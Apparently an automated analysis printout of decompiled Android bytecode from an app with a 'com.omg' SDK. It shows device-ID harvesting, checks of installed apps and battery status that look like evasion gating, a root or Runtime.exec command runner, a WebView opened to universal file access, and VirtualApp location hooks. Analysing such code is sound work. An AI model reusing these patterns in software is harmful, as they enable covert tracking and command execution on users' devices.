                              98move-result v1
                              99if-eqz v1, :cond_30
                              101invoke-static {p0}, Lb/a/at;->B(Landroid/content/Context;)Ljava/lang/String;
                              102move-result-object v0
                              104invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              105move-result v1
                              106if-eqz v1, :cond_30
                              108invoke-static {}, Lb/a/at;->b()Ljava/lang/String;
                              109move-result-object v0
                              111invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              112move-result v1
                              113if-eqz v1, :cond_30
                              115invoke-static {p0}, Lb/a/at;->y(Landroid/content/Context;)Ljava/lang/String;
                              116move-result-object v0
                              117goto/16 :goto_30
                              Cross References
                              APIs
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • android.content.Context.getContentResolver
                              • android.provider.Settings$Secure.getString
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • android.content.Context.getContentResolver
                              • android.provider.Settings$Secure.getString
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • android.content.Context.getContentResolver
                              • android.provider.Settings$Secure.getString
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              Strings
                              • android_id
                              Position Instruction Meta Information
                              0.prologue
                              1const/16 v1, 0x17
                              3const-string v0, ""
                              4sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              5if-ge v0, v1, :cond_31
                              7invoke-static {p0}, Lb/a/at;->B(Landroid/content/Context;)Ljava/lang/String;
                              8move-result-object v0
                              10invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              11move-result v1
                              12if-eqz v1, :cond_30
                              14invoke-static {p0}, Lb/a/at;->y(Landroid/content/Context;)Ljava/lang/String;
                              15move-result-object v0
                              17invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              18move-result v1
                              19if-eqz v1, :cond_30
                              21invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                              22move-result-object v0
                              24const-string v1, "android_id"
                              26invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                              27move-result-object v0
                              29invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              30move-result v1
                              31if-eqz v1, :cond_30
                              33invoke-static {}, Lb/a/at;->d()Ljava/lang/String;
                              34move-result-object v0
                              35goto_30: return-object v0
                              36cond_31: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              37if-ne v0, v1, :cond_71
                              39invoke-static {p0}, Lb/a/at;->B(Landroid/content/Context;)Ljava/lang/String;
                              40move-result-object v0
                              42invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              43move-result v1
                              44if-eqz v1, :cond_30
                              46invoke-static {}, Lb/a/at;->b()Ljava/lang/String;
                              47move-result-object v0
                              49invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              50move-result v1
                              51if-eqz v1, :cond_51
                              52sget-boolean v0, Lcom/a/a/c;->a:Z
                              53if-eqz v0, :cond_6c
                              55invoke-static {}, Lb/a/at;->c()Ljava/lang/String;
                              56move-result-object v0
                              57goto_51:
                              58invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              59move-result v1
                              60if-eqz v1, :cond_30
                              62invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                              63move-result-object v0
                              65const-string v1, "android_id"
                              67invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                              68move-result-object v0
                              70invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              71move-result v1
                              72if-eqz v1, :cond_30
                              74invoke-static {}, Lb/a/at;->d()Ljava/lang/String;
                              75move-result-object v0
                              76goto/16 :goto_30
                              77cond_6c:
                              78invoke-static {p0}, Lb/a/at;->y(Landroid/content/Context;)Ljava/lang/String;
                              79move-result-object v0
                              80goto/16 :goto_51
                              81cond_71:
                              82invoke-static {p0}, Lb/a/at;->B(Landroid/content/Context;)Ljava/lang/String;
                              83move-result-object v0
                              85invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              86move-result v1
                              87if-eqz v1, :cond_30
                              89invoke-static {}, Lb/a/at;->d()Ljava/lang/String;
                              90move-result-object v0
                              92invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              93move-result v1
                              94if-eqz v1, :cond_30
                              96invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                              97move-result-object v0
                              99const-string v1, "android_id"
                              101invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                              102move-result-object v0
                              104invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              105move-result v1
                              106if-eqz v1, :cond_30
                              108invoke-static {}, Lb/a/at;->b()Ljava/lang/String;
                              109move-result-object v0
                              111invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              112move-result v1
                              113if-eqz v1, :cond_30
                              115invoke-static {p0}, Lb/a/at;->y(Landroid/content/Context;)Ljava/lang/String;
                              116move-result-object v0
                              117goto/16 :goto_30
                              Cross References
                              APIs
                              • java.util.HashSet.<init>
                              • java.lang.String.split
                              • java.util.Set.add
                              • android.content.Context.getPackageManager
                              • android.content.pm.PackageManager.getInstalledPackages
                              • java.util.List.size
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.PackageInfo.packageName:Ljava/lang/String
                              • java.util.Set.contains
                              • android.content.IntentFilter.<init>
                              • android.content.Context.registerReceiver
                              • android.content.Intent.getIntExtra
                              Strings
                              • ;
                              • NoInstallListNoRun
                              • UseExistCheck
                              • android.intent.action.BATTERY_CHANGED
                              • status
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v8, 0x5
                              2const/4 v7, 0x0
                              3const/4 v2, 0x1
                              4const/4 v1, 0x0
                              5new-instance v3, Ljava/util/HashSet;
                              7invoke-direct {v3}, Ljava/util/HashSet;-><init>()V
                              9const-string/jumbo v0, ";"
                              11invoke-virtual {p1, v0}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                              12move-result-object v4
                              13array-length v0, v4
                              14if-nez v0, :cond_14
                              15goto_13: return v1
                              16cond_14: array-length v5, v4
                              17move v0, v1
                              18goto_16: if-ge v0, v5, :cond_20
                              19aget-object v6, v4, v0
                              21invoke-interface {v3, v6}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              22add-int/lit8 v0, v0, 0x1
                              23goto/16 :goto_16
                              24cond_20:
                              25invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                              26move-result-object v0
                              28invoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;
                              29move-result-object v0
                              31invoke-interface {v0}, Ljava/util/List;->size()I
                              32move-result v5
                              33if-le v5, v8, :cond_48
                              35invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              36move-result-object v4
                              37cond_32:
                              38invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                              39move-result v0
                              40if-eqz v0, :cond_13
                              42invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              43move-result-object v0
                              44check-cast v0, Landroid/content/pm/PackageInfo;
                              46iget-object v0, v0, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
                              48invoke-interface {v3, v0}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
                              49move-result v0
                              50if-eqz v0, :cond_32
                              51move v1, v2
                              52goto/16 :goto_13
                              53cond_48:
                              54invoke-static {p0}, Lcom/omg/base/RunInfo;->get(Landroid/content/Context;)Lcom/omg/base/RunInfo;
                              55move-result-object v0
                              57const-string/jumbo v3, "NoInstallListNoRun"
                              59invoke-virtual {v0, v3, v7}, Lcom/omg/base/RunInfo;->get(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              60move-result-object v0
                              61if-eqz v0, :cond_57
                              62move v1, v2
                              63goto/16 :goto_13
                              64cond_57:
                              65invoke-static {p0}, Lcom/omg/base/RunInfo;->get(Landroid/content/Context;)Lcom/omg/base/RunInfo;
                              66move-result-object v0
                              68const-string/jumbo v3, "UseExistCheck"
                              70invoke-virtual {v0, v3, v7}, Lcom/omg/base/RunInfo;->get(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              71move-result-object v0
                              72if-eqz v0, :cond_75
                              73array-length v3, v4
                              74move v0, v1
                              75goto_66: if-ge v0, v3, :cond_13
                              76aget-object v5, v4, v0
                              78invoke-static {v5}, Lcom/omgSdk/outport/SdkLauncher;->a(Ljava/lang/String;)Z
                              79move-result v5
                              80if-eqz v5, :cond_72
                              81move v1, v2
                              82goto/16 :goto_13
                              83cond_72: add-int/lit8 v0, v0, 0x1
                              84goto/16 :goto_66
                              85cond_75: new-instance v0, Landroid/content/IntentFilter;
                              87const-string/jumbo v3, "android.intent.action.BATTERY_CHANGED"
                              89invoke-direct {v0, v3}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
                              90const/4 v3, 0x0
                              92invoke-virtual {p0, v3, v0}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
                              93move-result-object v0
                              95const-string/jumbo v3, "status"
                              96const/4 v4, -0x1
                              98invoke-virtual {v0, v3, v4}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                              99try_end_89: move-result v0
                              100const/4 v3, 0x2
                              101if-eq v0, v3, :cond_8f
                              102if-ne v0, v8, :cond_92
                              103cond_8f: move v0, v2
                              104goto_90: move v1, v0
                              105goto/16 :goto_13
                              106cond_92: move v0, v1
                              107goto/16 :goto_90
                              108catch_94: move-exception v0
                              110invoke-static {v0}, Lcom/omg/tool/builds/ExceptionUtils;->handle(Ljava/lang/Exception;)V
                              111goto/16 :goto_13
                              Cross References
                              APIs
                              • android.text.TextUtils.isEmpty
                              • java.lang.Runtime.getRuntime
                              • java.lang.Runtime.exec
                              • java.lang.Process.waitFor
                              • java.lang.Process.getInputStream
                              • java.io.InputStreamReader.<init>
                              • java.io.BufferedReader.<init>
                              • java.io.BufferedReader.readLine
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.i
                              • java.lang.Process.destroy
                              • java.io.IOException.printStackTrace
                              • java.lang.Process.destroy
                              • java.lang.Process.destroy
                              Strings
                              • invoke:
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              3move-result v0
                              4if-eqz v0, :cond_7
                              5goto_6: return-void
                              6cond_7: iget-boolean v0, p0, Lcom/omg/event/utils/CmdInvoke;->hasRoot:Z
                              7if-eqz v0, :cond_13
                              9invoke-static {}, Lcom/omg/event/utils/RootContext;->getInstance()Lcom/omg/event/utils/RootContext;
                              10move-result-object v0
                              12invoke-virtual {v0, p1}, Lcom/omg/event/utils/RootContext;->runCommand(Ljava/lang/String;)V
                              13goto/16 :goto_6
                              14cond_13:
                              15iget-object v0, p0, Lcom/omg/event/utils/CmdInvoke;->ctx:Landroid/content/Context;
                              16if-eqz v0, :cond_2b
                              18iget-object v0, p0, Lcom/omg/event/utils/CmdInvoke;->ctx:Landroid/content/Context;
                              20invoke-static {v0}, Lcom/omg/event/utils/RootContext;->hasRootAccess(Landroid/content/Context;)Z
                              21move-result v0
                              22iput-boolean v0, p0, Lcom/omg/event/utils/CmdInvoke;->hasRoot:Z
                              23iget-boolean v0, p0, Lcom/omg/event/utils/CmdInvoke;->hasRoot:Z
                              24if-eqz v0, :cond_2b
                              26invoke-static {}, Lcom/omg/event/utils/RootContext;->getInstance()Lcom/omg/event/utils/RootContext;
                              27move-result-object v0
                              29invoke-virtual {v0, p1}, Lcom/omg/event/utils/RootContext;->runCommand(Ljava/lang/String;)V
                              30goto/16 :goto_6
                              31try_start_2b:
                              32invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                              33move-result-object v0
                              35invoke-virtual {v0, p1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                              36try_end_32: move-result-object v1
                              37try_start_33:
                              38invoke-virtual {v1}, Ljava/lang/Process;->waitFor()I
                              40invoke-virtual {v1}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                              41move-result-object v0
                              42if-eqz v0, :cond_6f
                              43new-instance v2, Ljava/io/BufferedReader;
                              44new-instance v3, Ljava/io/InputStreamReader;
                              46invoke-direct {v3, v0}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                              48invoke-direct {v2, v3}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                              49goto_46:
                              50invoke-virtual {v2}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                              51move-result-object v0
                              52if-eqz v0, :cond_6f
                              54sget-object v3, Lcom/omg/event/utils/CmdInvoke;->TAG:Ljava/lang/String;
                              55new-instance v4, Ljava/lang/StringBuilder;
                              57invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              59const-string v5, "invoke: "
                              61invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              62move-result-object v4
                              64invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              65move-result-object v0
                              67invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              68move-result-object v0
                              70invoke-static {v3, v0}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                              71try_end_64: goto/16 :goto_46
                              72catch_65: move-exception v0
                              73try_start_66:
                              74invoke-virtual {v1}, Ljava/lang/Process;->destroy()V
                              75try_end_69: goto/16 :goto_6
                              76catch_6a: move-exception v0
                              78invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                              79goto/16 :goto_6
                              80try_start_6f:
                              81invoke-virtual {v1}, Ljava/lang/Process;->destroy()V
                              82goto/16 :goto_6
                              83catchall_73: move-exception v0
                              85invoke-virtual {v1}, Ljava/lang/Process;->destroy()V
                              86throw v0
                              Cross References
                              APIs
                              • android.webkit.WebView.getSettings
                              • android.webkit.WebSettings.setJavaScriptEnabled
                              • android.webkit.WebSettings.setAllowContentAccess
                              • android.webkit.WebSettings.setSupportZoom
                              • android.webkit.WebSettings.setSupportMultipleWindows
                              • android.webkit.WebSettings.setDisplayZoomControls
                              • android.webkit.WebSettings.setAllowFileAccess
                              • android.webkit.WebSettings.setAllowFileAccessFromFileURLs
                              • android.webkit.WebSettings.setAllowUniversalAccessFromFileURLs
                              • android.webkit.WebSettings.setMediaPlaybackRequiresUserGesture
                              • android.webkit.WebSettings.setBuiltInZoomControls
                              • android.webkit.WebSettings.setLoadWithOverviewMode
                              • android.webkit.WebSettings.setSaveFormData
                              • android.webkit.WebSettings.setUseWideViewPort
                              • android.webkit.WebSettings.setLoadsImagesAutomatically
                              • android.webkit.WebSettings.setGeolocationEnabled
                              • android.webkit.WebSettings.setJavaScriptCanOpenWindowsAutomatically
                              • android.webkit.WebSettings.setCacheMode
                              • android.webkit.WebSettings.setMixedContentMode
                              • android.webkit.WebSettings$LayoutAlgorithm.TEXT_AUTOSIZING:Landroid/webkit/WebSettings$LayoutAlgorithm
                              • android.webkit.WebSettings.setLayoutAlgorithm
                              • android.webkit.WebSettings$LayoutAlgorithm.NORMAL:Landroid/webkit/WebSettings$LayoutAlgorithm
                              • android.webkit.WebSettings.setLayoutAlgorithm
                              Position Instruction Meta Information
                              0.annotation build Landroid/annotation/SuppressLint;
                              1value = {
                              2"SetJavaScriptEnabled"
                              3}
                              4.end annotation
                              5.prologue
                              6const/16 v2, 0x10
                              7const/4 v4, 0x0
                              8const/4 v3, 0x1
                              10invoke-virtual {p1}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
                              11move-result-object v0
                              13invoke-virtual {v0, v3}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V
                              15invoke-virtual {v0, v3}, Landroid/webkit/WebSettings;->setAllowContentAccess(Z)V
                              17invoke-virtual {v0, v3}, Landroid/webkit/WebSettings;->setSupportZoom(Z)V
                              19invoke-virtual {v0, v4}, Landroid/webkit/WebSettings;->setSupportMultipleWindows(Z)V
                              21invoke-virtual {v0, v4}, Landroid/webkit/WebSettings;->setDisplayZoomControls(Z)V
                              23invoke-virtual {v0, v3}, Landroid/webkit/WebSettings;->setAllowFileAccess(Z)V
                              24sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                              25if-lt v1, v2, :cond_21
                              27invoke-virtual {v0, v3}, Landroid/webkit/WebSettings;->setAllowFileAccessFromFileURLs(Z)V
                              28cond_21: sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                              29if-lt v1, v2, :cond_28
                              31invoke-virtual {v0, v3}, Landroid/webkit/WebSettings;->setAllowUniversalAccessFromFileURLs(Z)V
                              32cond_28: sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                              33const/16 v2, 0x11
                              34if-lt v1, v2, :cond_31
                              36invoke-virtual {v0, v4}, Landroid/webkit/WebSettings;->setMediaPlaybackRequiresUserGesture(Z)V
                              37cond_31:
                              38invoke-virtual {v0, v3}, Landroid/webkit/WebSettings;->setBuiltInZoomControls(Z)V
                              40invoke-virtual {v0, v3}, Landroid/webkit/WebSettings;->setLoadWithOverviewMode(Z)V
                              42invoke-virtual {v0, v3}, Landroid/webkit/WebSettings;->setSaveFormData(Z)V
                              44invoke-virtual {v0, v3}, Landroid/webkit/WebSettings;->setUseWideViewPort(Z)V
                              46invoke-virtual {v0, v3}, Landroid/webkit/WebSettings;->setLoadsImagesAutomatically(Z)V
                              48invoke-virtual {v0, v3}, Landroid/webkit/WebSettings;->setGeolocationEnabled(Z)V
                              50invoke-virtual {v0, v3}, Landroid/webkit/WebSettings;->setJavaScriptCanOpenWindowsAutomatically(Z)V
                              51const/4 v1, 0x2
                              53invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setCacheMode(I)V
                              54sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                              55const/16 v2, 0x15
                              56if-lt v1, v2, :cond_53
                              58invoke-virtual {v0, v4}, Landroid/webkit/WebSettings;->setMixedContentMode(I)V
                              59cond_53: sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                              60const/16 v2, 0x13
                              61if-lt v1, v2, :cond_5f
                              63sget-object v1, Landroid/webkit/WebSettings$LayoutAlgorithm;->TEXT_AUTOSIZING:Landroid/webkit/WebSettings$LayoutAlgorithm;
                              65invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setLayoutAlgorithm(Landroid/webkit/WebSettings$LayoutAlgorithm;)V
                              66goto_5e: return-void
                              67cond_5f:
                              68sget-object v1, Landroid/webkit/WebSettings$LayoutAlgorithm;->NORMAL:Landroid/webkit/WebSettings$LayoutAlgorithm;
                              70invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setLayoutAlgorithm(Landroid/webkit/WebSettings$LayoutAlgorithm;)V
                              71goto/16 :goto_5e
                              APIs
                              • android.os.Build$VERSION.RELEASE:Ljava/lang/String
                              • android.text.TextUtils.equals
                              Strings
                              • addTestProvider
                              • removeTestProvider
                              • setTestProviderLocation
                              • clearTestProviderLocation
                              • setTestProviderEnabled
                              • clearTestProviderEnabled
                              • setTestProviderStatus
                              • clearTestProviderStatus
                              • addGpsMeasurementsListener
                              • addGpsNavigationMessageListener
                              • requestGeofence
                              • removeGeofence
                              • 4.1.2
                              • requestLocationUpdatesPI
                              • removeUpdatesPI
                              • addProximityAlert
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-super {p0}, Lcom/lody/virtual/client/hook/base/BinderInvocationProxy;->onBindMethods()V
                              3sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              4const/16 v1, 0x17
                              5if-lt v0, v1, :cond_59
                              6new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              8const-string v1, "addTestProvider"
                              10invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              12invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/location/LocationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              13new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              15const-string v1, "removeTestProvider"
                              17invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              19invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/location/LocationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              20new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              22const-string v1, "setTestProviderLocation"
                              24invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              26invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/location/LocationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              27new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              29const-string v1, "clearTestProviderLocation"
                              31invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              33invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/location/LocationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              34new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              36const-string v1, "setTestProviderEnabled"
                              38invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              40invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/location/LocationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              41new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              43const-string v1, "clearTestProviderEnabled"
                              45invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              47invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/location/LocationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              48new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              50const-string v1, "setTestProviderStatus"
                              52invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              54invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/location/LocationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              55new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              57const-string v1, "clearTestProviderStatus"
                              59invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              61invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/location/LocationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              62cond_59: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              63const/16 v1, 0x15
                              64if-lt v0, v1, :cond_73
                              65new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              67const-string v1, "addGpsMeasurementsListener"
                              69invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              71invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/location/LocationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              72new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              74const-string v1, "addGpsNavigationMessageListener"
                              76invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              78invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/location/LocationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              79cond_73: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              80const/16 v1, 0x11
                              81if-lt v0, v1, :cond_8d
                              82new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              84const-string v1, "requestGeofence"
                              86invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              88invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/location/LocationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              89new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              91const-string v1, "removeGeofence"
                              93invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              95invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/location/LocationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              96cond_8d: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              97const/16 v1, 0x10
                              98if-ne v0, v1, :cond_bb
                              100sget-object v0, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
                              102const-string v1, "4.1.2"
                              104invoke-static {v0, v1}, Landroid/text/TextUtils;->equals(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Z
                              105move-result v0
                              106if-eqz v0, :cond_bb
                              107new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              109const-string v1, "requestLocationUpdatesPI"
                              111invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              113invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/location/LocationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              114new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              116const-string v1, "removeUpdatesPI"
                              118invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              120invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/location/LocationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              121new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              123const-string v1, "addProximityAlert"
                              125invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              127invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/location/LocationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              128cond_bb: return-void
                              Cross References
                              APIs
                              • java.lang.Class.forName
                              • android.content.Context.getClassLoader
                              • java.lang.ClassLoader.loadClass
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.e
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • android.util.Log.e
                              Strings
                              • \u7c7b\u627e\u4e0d\u5230
                              • \u672c\u5730\u5de5\u5382\u65b9\u6cd5\u6267\u884c\u5931\u8d25
